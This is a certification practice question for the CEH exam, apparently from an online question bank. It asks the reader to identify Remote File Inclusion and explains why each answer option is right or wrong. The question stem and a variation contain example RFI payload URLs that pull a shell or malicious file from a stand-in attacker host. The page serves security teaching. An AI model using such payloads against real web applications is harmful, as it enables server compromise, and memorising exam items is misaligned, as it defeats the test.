CEH Web Application and Injection Attacks Practice Question
An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Remote File Inclusion (RFI)
Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
Directory traversal
Why it's wrong here
Directory traversal vulnerabilities exploit flaws in file path handling, allowing an attacker to access files and directories stored outside the intended web root by manipulating input parameters with sequences like "../" or "..\". This technique specifically targets local filesystem navigation. The scenario, however, describes an attacker using a full, external URL in the payload, which is fundamentally different from the path manipulation characteristic of a directory traversal attack.
- ✗
Local File Inclusion (LFI)
Why it's wrong here
Local File Inclusion (LFI) vulnerabilities enable an attacker to include and execute or display files from the web server's local filesystem by supplying a relative or absolute path to a file on the server. This typically involves manipulating parameters that are intended to specify local file paths. The provided payload, which clearly contains a complete URL pointing to an external domain, indicates an attempt to fetch content from a remote source, not a local file.
- ✗
Command injection
Why it's wrong here
Command injection vulnerabilities occur when an application executes user-supplied input directly as operating system commands without sufficient sanitization or validation. This allows an attacker to run arbitrary shell commands on the underlying server, potentially leading to full system compromise. The described attack, however, involves the inclusion of external content via a URL, which is a file inclusion mechanism rather than the direct execution of system-level commands.
- ✓
Remote File Inclusion (RFI)
Why this is correct
Remote File Inclusion (RFI) vulnerabilities allow an attacker to force the web application to include and execute or display a file hosted on a remote server, typically controlled by the attacker. This is achieved by injecting a full URL into a vulnerable parameter that the application uses to dynamically include files. The payload's explicit use of a remote URL is the defining characteristic of an RFI attack, enabling the server to fetch and process content from an external source.
Go deeper
Related to this question
About these practice questions
This CEH question is part of Courseiva's 870-question bank — original exam-style content with full explanations and wrong-answer analysis, never real exam questions or exam dumps. Learn why practice questions differ from exam dumps →
Same concept, more angles
1 more way this is tested on CEH
These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.
Variation 1. A penetration tester finds that a web application includes files based on user input without proper validation. The tester supplies 'http://attacker.com/malicious.txt' and the application includes its content. Which vulnerability is this?
medium- A.Directory traversal
- ✓ B.Remote File Inclusion (RFI)
- C.Local File Inclusion (LFI)
- D.Server-Side Request Forgery (SSRF)
Why B: Including a remote file from an attacker-controlled server is Remote File Inclusion (RFI).
JA
Written by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
This CEH practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CEH exam.